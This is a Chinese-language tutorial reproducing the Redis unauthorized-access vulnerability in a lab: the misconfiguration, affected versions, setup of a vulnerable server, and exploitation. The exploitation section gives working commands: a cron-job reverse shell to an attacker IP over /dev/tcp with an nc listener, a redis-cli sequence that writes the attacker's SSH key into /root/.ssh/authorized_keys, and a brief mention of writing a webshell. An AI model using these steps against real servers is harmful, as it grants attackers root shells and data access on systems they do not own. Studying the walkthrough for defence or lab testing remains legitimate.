一、漏洞描述
Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,未绑定IP或未密码访问时都会出错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认密码为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
漏洞的产生条件:
- Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
- 没有设置密码认证(默认为空)或者弱密码,可以免密码登录Redis服务
二、漏洞影响版本
Redis 2.x,3.x,4.x,5.x
三、漏洞危害
1、无需认证访问到内部数据,可能导致敏感信息泄露,也可以恶意执行flushall清空所有数据。
2、攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件。
3、如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
四、环境搭建
只需要搭建服务端环境,kali自带redis客户端。
①下载Redis服务端
wget http://download.redis.io/releases/redis-4.0.4.tar.gz
②解压下载的压缩包
③编译make
④将src目录下的redis-server和redis-cli拷贝到/usr/bin/目录:
⑤将redis-4.0.4目录下的redis.conf拷贝到/etc/目录下
⑥修改/etc/redis.conf配置文件,注释掉本地访问,并设置保护模式为no,这样才能远程访问redis服务。
⑦通过修改后的配置文件启动redis服务,服务端环境完成。
./redis-server /etc/redis.conf
五、漏洞复现
redis基本操作
①尝试直接连接,并查看info信息。有响应证明当前存在未授权访问,且可以远程访问。
②创建、查询、删除一个键值对。
Redis拿权限主要是利用redis写文件的功能,我们可以通过写入以下文件获取权限:
- 写入计划任务反弹shell
- 写入ssh公钥获取权限
- 写入webshell获取权限
1)通过计划任务反弹shell
Kali开启监听:
nc -lvvp 3444
写入反弹shell,写入文件需要有写权限,否则报错
set xxx "\n* * * * * /bin/bash -i>&/dev/tcp/10.10.10.128/3444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
等待一分钟左右服务器成功上线。
2)写入SSH公钥获取权限
前提:服务端存在.ssh目录并且有写入的权限。
原理:在数据库中插入一条数据,将本机(kali机)的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized_key,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh目录下生成一个授权的key.
命令如下:
1、生成本机的公钥
ssh-keygen -t rsa //默认密码为空,直接回车
2、在kali中进入到/root/.ssh目录,执行以下命令将id_rsa.pub文件写入到key.txt
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.30.101 -x set ssh
3、使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh并保存文件名为authorized_keys,并将数据保存在目标服务器。
redis-cli -h 192.168.30.101 //连接目标机器
config get dir //查看当前redis备份路径
config set dir /root/.ssh //设置备份路径为/root/.ssh
config set dbfilename authorized_keys //设置备份文件名为authorized_keys
save //保存配置
4、连接目标服务器成功。
ssh root@192.168.30.101 -p 22 -i /y //输入yes即可登录
3)写入webshell
前提:root权限,开启网站服务并且知道网站绝对路径。
写入phpinfo为例。
尝试访问,成功。